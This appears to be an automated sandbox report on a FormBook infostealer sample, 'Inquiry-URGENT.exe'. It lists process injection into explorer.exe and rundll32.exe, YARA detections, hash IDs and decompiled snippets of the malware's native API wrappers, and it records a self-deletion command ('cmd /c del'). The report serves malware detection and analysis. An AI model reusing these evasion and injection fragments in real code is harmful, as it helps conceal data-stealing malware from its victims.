00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000002.00000002.671240839.0000000002B43000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Inquiry-URGENT.exe PID: 7112 Parent PID: 6760

General

Start time:	17:54:00
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\Inquiry-URGENT.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Inquiry-URGENT.exe
Imagebase:	0x5d0000
File size:	443904 bytes
MD5 hash:	001127EA6A36D3B93E8C54FF1B8F22B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 7112

General

Start time:	17:54:02
Start date:	27/09/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4684 Parent PID: 3424

General

Start time:	17:54:35
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0xb90000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3080 Parent PID: 4684

General

Start time:	17:54:40
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\Inquiry-URGENT.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 3532 Parent PID: 3080

General

Start time:	17:54:41
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Inquiry-URGENT.exe PID: 6760 Parent PID: 5396 Inquiry-URGENT.exeCOMMON

Executed Functions

Function 010AF5D0, Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 960056f8ba7260406cea77e07ce128925d6cee1613895a71fda36c8360efa210
Instruction ID: c57aa44a9977a5144def371493ac963fdc66904896dd3454772746efeb5231c2
Opcode Fuzzy Hash: 960056f8ba7260406cea77e07ce128925d6cee1613895a71fda36c8360efa210
Instruction Fuzzy Hash: 0E915070B006068FDB54EFB9C45456EBBE2FF882047508A29D54ADBB51EF70EC428BA0

Uniqueness

Uniqueness Score: -1.00%

Function 010ADE2C, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 010AFE6A

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 93c3c4e9b709e09513eeac3fb490f7c788f9628a3fb6fa8e3368ffd341482a27
Instruction ID: 19a282e08ff679ca21a4f56df8bfa1114551b41d81a41d2877aa74cbeb842b1f
Opcode Fuzzy Hash: 93c3c4e9b709e09513eeac3fb490f7c788f9628a3fb6fa8e3368ffd341482a27
Instruction Fuzzy Hash: B951B0B1D003199FDB14CF99C884ADEBBF5BF48314F64822AE519AB210D7749885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 010AFD4E, Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 010AFE6A

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 4aa8ad48dc49df811c9fa659dcf7969cd04fe0e95383f48f59824ffe631eb85a
Instruction ID: 310d21789752b43a4d2b074fb8392fe8caf63cec8faf7e511911b7f8aef0ab5f
Opcode Fuzzy Hash: 4aa8ad48dc49df811c9fa659dcf7969cd04fe0e95383f48f59824ffe631eb85a
Instruction Fuzzy Hash: 8451B0B5D002599FDB15CFA9C880ADEBFB5BF48314F64812AE919AB210D7749885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 010A5364, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 010A5421

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: efc30230b5a718a70dcba299727d57ab53fe08de3b8c7d9594e7219172e57a9d
Instruction ID: 62b57385a13ae736cf941e20669269f4f051a0c7cb7deb04553dfb07a2ba1ce9
Opcode Fuzzy Hash: efc30230b5a718a70dcba299727d57ab53fe08de3b8c7d9594e7219172e57a9d
Instruction Fuzzy Hash: 80411270D00619CFDB24CFA9C884BDEBBF1BF49308F25815AD448AB251DBB5694ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 010A3DE8, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 010A5421

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f7c88e7acfb105fdaf4298f4314f687e09c48fbed4fd8ca7267adfe8a8433d1c
Instruction ID: 987eec07d9e1ac89b1fd2ad52be779f36580b1ae307fe5eef527521421f7123c
Opcode Fuzzy Hash: f7c88e7acfb105fdaf4298f4314f687e09c48fbed4fd8ca7267adfe8a8433d1c
Instruction Fuzzy Hash: 4941DF71D04718CFEB24DFA9C884B9EBBF1BF49308F618069D508AB251DBB56946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 010A97EF, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,010AB8DE,?,?,?,?,?), ref: 010AB99F

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ea93b7b53cbac69761321e5bda8f107ab2c459456560d828aaa7408b6c85987c
Instruction ID: 9922c331811d76630c22ae2ab89aec7766974993dfe6aead94e89aeb81c30208
Opcode Fuzzy Hash: ea93b7b53cbac69761321e5bda8f107ab2c459456560d828aaa7408b6c85987c
Instruction Fuzzy Hash: 2A2122B5900208DFDB10CFA9D884AEEBFF4EB48320F14805AE955A7210D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A9860, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,010AB8DE,?,?,?,?,?), ref: 010AB99F

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c8c3525fcd0792bf09e41005b8fe5c61872dbbc9e54464d4e339f5eb1342a40c
Instruction ID: 3b991f850341b47d35f1058a1957e811876062b41d193d5d7e790da6a68484d4
Opcode Fuzzy Hash: c8c3525fcd0792bf09e41005b8fe5c61872dbbc9e54464d4e339f5eb1342a40c
Instruction Fuzzy Hash: 1121E4B59002099FDB10CFA9D884ADEFFF4EB48324F14801AE955A7310D778A944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010AB912, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,010AB8DE,?,?,?,?,?), ref: 010AB99F

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0c10156c56028d068a432939806f97f9b252c611d4e957fe8b3d594c0b41bfdd
Instruction ID: 283633a50a187345b3cdb0d6189266a66847df102f1ba23396eb4f9d6b7203c3
Opcode Fuzzy Hash: 0c10156c56028d068a432939806f97f9b252c611d4e957fe8b3d594c0b41bfdd
Instruction Fuzzy Hash: 0A21F3B59002499FDB10CFA9D984AEEBFF4FF48320F14801AE954A7310C778A945DF61

Uniqueness

Uniqueness Score: -1.00%

Function 010A9B51, Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,010A99B1,00000800,00000000,00000000), ref: 010A9BC2

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4cb25f42222ed0e14682278662b8211bf1502bf135b08c4c0dc2ec42474c8fa8
Instruction ID: 86c56264810a006253243629b0d8890a70883fc30eb88c4803a5a3bff553ed12
Opcode Fuzzy Hash: 4cb25f42222ed0e14682278662b8211bf1502bf135b08c4c0dc2ec42474c8fa8
Instruction Fuzzy Hash: 2E2147B69002498FDB10CF99D844ADEFFF4EB88324F54842ED459AB600C7B4A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A94D8, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,010A99B1,00000800,00000000,00000000), ref: 010A9BC2

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3db333244d74e5014bb226cfcccdcca4d268d3cbb1091b9c0250b885d250b6fb
Instruction ID: 8f06e9947daf5311e7a3a9d2b4316b1a458ba490b969538cba2055d5d5a8c4ba
Opcode Fuzzy Hash: 3db333244d74e5014bb226cfcccdcca4d268d3cbb1091b9c0250b885d250b6fb
Instruction Fuzzy Hash: 4D1156B29003088FDB10CF9AC844BDEFBF4EB88314F50842ED555A7200C7B8A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A98C9, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 010A9936

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1f02b0e50a802472e1524b28781d2b8fefd13ee9a9b70ac604101d4b704e72a6
Instruction ID: 31c9f99fd0094caa96d5376be25a9cb74c23d47e48e8502d91db0b38a91c81b7
Opcode Fuzzy Hash: 1f02b0e50a802472e1524b28781d2b8fefd13ee9a9b70ac604101d4b704e72a6
Instruction Fuzzy Hash: F01102B5D0064A8FDB10CF9AC444BDEFBF4AF88224F54856AD859AB710C378A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A98D0, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 010A9936

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: def5df69713aa10091e1aee2f0e21c353e418793b0d9dd06e7c1914388f935f7
Instruction ID: 0ee2194bdb46f5ba6115d89e40722ee961b6ea9991d9c1893524ac39659e9b0e
Opcode Fuzzy Hash: def5df69713aa10091e1aee2f0e21c353e418793b0d9dd06e7c1914388f935f7
Instruction Fuzzy Hash: 651110B5D0064A8FDB10CF9AC844BDEFBF4AF88224F14851AD459B7200C778A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010AE5D0, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f42e1abd4d1ec4d32b440d35e457318679112c5c3a63b8b22119b52330607fe8
Instruction ID: 0f8659b9d10bfe6e1323874c558ecbd4839c85458121d94d29bed093e000624c
Opcode Fuzzy Hash: f42e1abd4d1ec4d32b440d35e457318679112c5c3a63b8b22119b52330607fe8
Instruction Fuzzy Hash: 0D1293F1411746CBE7B8CF65E8981893BB3B745328F914228D2712BAD9D7B811CACF94

Uniqueness

Uniqueness Score: -1.00%

Function 010AC184, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d433094b04817460a6fb6aefe6724a68ad769d59d820c4b1dad61392e217293e
Instruction ID: 3f27097fbe76947f1acc4b0a4e47ce6507b93d6552ca20ad4f51e0d8248ee10d
Opcode Fuzzy Hash: d433094b04817460a6fb6aefe6724a68ad769d59d820c4b1dad61392e217293e
Instruction Fuzzy Hash: 37A17E32E0021ACFCF09DFE5C9445DEBBF2FF85300B5581AAE945AB261EB75A945CB40

Uniqueness

Uniqueness Score: -1.00%

Function 010AE5CA, Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.671034876.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d50e1a129aaae7c3a07f3082dce4096d2161a31e925a9884c87158fcbbe34931
Instruction ID: e5cab5b97d10ce4ab7c10a17fe9a9d7666b27de46e5b0c58de52404ea46f37cd
Opcode Fuzzy Hash: d50e1a129aaae7c3a07f3082dce4096d2161a31e925a9884c87158fcbbe34931
Instruction Fuzzy Hash: 00C1FAB1811746CBD7A8CF65E8881897B73FB85328F514328D1712B6D9D7B821CACF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Inquiry-URGENT.exe PID: 7112 Parent PID: 6760 Inquiry-URGENT.exeCOMMON

Executed Functions

Function 00418660, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418660(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, char _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E004191B0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t4 =  &_a40; // 0x413a21
				_t6 =  &_a32; // 0x413d62
				_t12 =  &_a8; // 0x413d62
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36,  *_t4); // executed
				return _t18;
			}

0x00418663
0x0041866f
0x00418677
0x0041867c
0x00418682
0x0041869d
0x004186a5
0x004186a9

APIs

NtReadFile.NTDLL(b=A,5E972F65,FFFFFFFF,?,?,?,b=A,?,!:A,FFFFFFFF,5E972F65,00413D62,?,00000000), ref: 004186A5

Strings

b=A, xrefs: 0041869D, 004186A4
b=A, xrefs: 00418682, 00418690
!:A, xrefs: 0041867C, 00418688

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: !:A$b=A$b=A
API String ID: 2738559852-704622139
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 1e9a607f8d7ae55c6529455560845d335dd5ab867efd933cdf95456f7e89143a
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 7CF0A4B2200208ABDB14DF89DC95EEB77ADAF8C754F158249BA1D97241DA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409BA2

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b151b7aefe362f9f53239ff94c441e7fc7ff50d12aa80511d0004ed55a8a3314
Instruction ID: f32d3288474e01bdfe8324a51b674010449bcf15fd3c95856a6e0addd4ed2bba
Opcode Fuzzy Hash: b151b7aefe362f9f53239ff94c441e7fc7ff50d12aa80511d0004ed55a8a3314
Instruction Fuzzy Hash: 490112B5D0010DA7DF10EBA5DC42FDEB778AB54308F0041A6E918A7281F675EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004185B0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004185B0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E004191B0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004185bf
0x004185c7
0x004185fd
0x00418601

APIs

NtCreateFile.NTDLL(00000060,00408B03,?,00413BA7,00408B03,FFFFFFFF,?,?,FFFFFFFF,00408B03,00413BA7,?,00408B03,00000060,00000000,00000000), ref: 004185FD

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 5d6b5cde0bcb09b7c0358823ed137c5ed8f79ffe5ada1a139c779eb2a876d5e3
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 00F0B2B2200208ABCB08CF89DC95EEB77ADAF8C754F158248FA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041878A, Relevance: 1.5, APIs: 1, Instructions: 32memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00419384,?,00000000,?,00003000,00000040,00000000,00000000,00408B03), ref: 004187C9

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 915d8cc0ecf88a40df1f65fef6a8d150e44b6b6dd22d4688aa136a3c8e26e3ba
Instruction ID: 6b5fee3f03d1ecc8a3d3c4abc96f3decb04777782cce69564403ac16929e7ba2
Opcode Fuzzy Hash: 915d8cc0ecf88a40df1f65fef6a8d150e44b6b6dd22d4688aa136a3c8e26e3ba
Instruction Fuzzy Hash: 55F05EB12001087FDB14DFA8CC41EEB77ADAF88364F154248FA19A7281C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418790, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00419384,?,00000000,?,00003000,00000040,00000000,00000000,00408B03), ref: 004187C9

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: dde6359f0c5cf0f3b7cc61d53361d99b03a052e7ad6e115d9fdbfc5a6ee34577
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: C2F015B2200208ABDB14DF89CC81EEB77ADAF88754F158149FE0997241C630F810CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 004186DA, Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E004186DA(void* __eax, void* __ebx, void* __edx, void* _a4) {
				intOrPtr _v0;
				void* _v117;
				long _t11;
				void* _t17;

				_push(ss);
				 *((intOrPtr*)(__eax + 1)) =  *((intOrPtr*)(__eax + 1)) + __ebx;
				asm("cdq");
				_t8 = _v0;
				_t3 = _t8 + 0x10; // 0x300
				_t4 = _t8 + 0xc50; // 0x409753
				E004191B0(_t17, _v0, _t4,  *_t3, 0, 0x2c);
				_t11 = NtClose(_a4); // executed
				return _t11;
			}

0x004186da
0x004186dc
0x004186de
0x004186e3
0x004186e6
0x004186ef
0x004186f7
0x00418705
0x00418709

APIs

NtClose.NTDLL(00413D40,?,?,00413D40,00408B03,FFFFFFFF), ref: 00418705

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 7e16bfc3d36b209d2f02fac0de702f0180d3096fe819b889962e4f7b8ce6b42b
Instruction ID: 9f5d866447c3be876c4d36151ffe2e53fe6e8eefde59fea4023ce2278dc4b3b3
Opcode Fuzzy Hash: 7e16bfc3d36b209d2f02fac0de702f0180d3096fe819b889962e4f7b8ce6b42b
Instruction Fuzzy Hash: 0FE026351002007FD711DBA4CC85ED73F25DF44260F040089FA499B242C530E500C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 004186E0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004186E0(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409753
				E004191B0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004186e3
0x004186e6
0x004186ef
0x004186f7
0x00418705
0x00418709

APIs

NtClose.NTDLL(00413D40,?,?,00413D40,00408B03,FFFFFFFF), ref: 00418705

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: cde372c9834ecde76929cfdbc6e84a5308d085747d856cc7173a1988eed98478
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 23D012752002147BD710EB99CC45ED7776DEF44750F154459BA195B242C530F94086E4

Uniqueness

Uniqueness Score: -1.00%

Function 0041880A, Relevance: 1.5, APIs: 1, Instructions: 18memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00419384,?,00000000,?,00003000,00000040,00000000,00000000,00408B03), ref: 004187C9

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 718741d70260054c30bb0e07e81f47de28cad2db6e92ccb7b5353a2671d1fb39
Instruction ID: ee2b7b8e193859fa6f82f47894811039d2f69132193c62c19a3363dab33bf213
Opcode Fuzzy Hash: 718741d70260054c30bb0e07e81f47de28cad2db6e92ccb7b5353a2671d1fb39
Instruction Fuzzy Hash: 2FD05E7A1181542BC718CFA5ACC0CB7B7D8DFC9220308868EFD5C4B149C430A8149F70

Uniqueness

Uniqueness Score: -1.00%

Function 004088C0, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

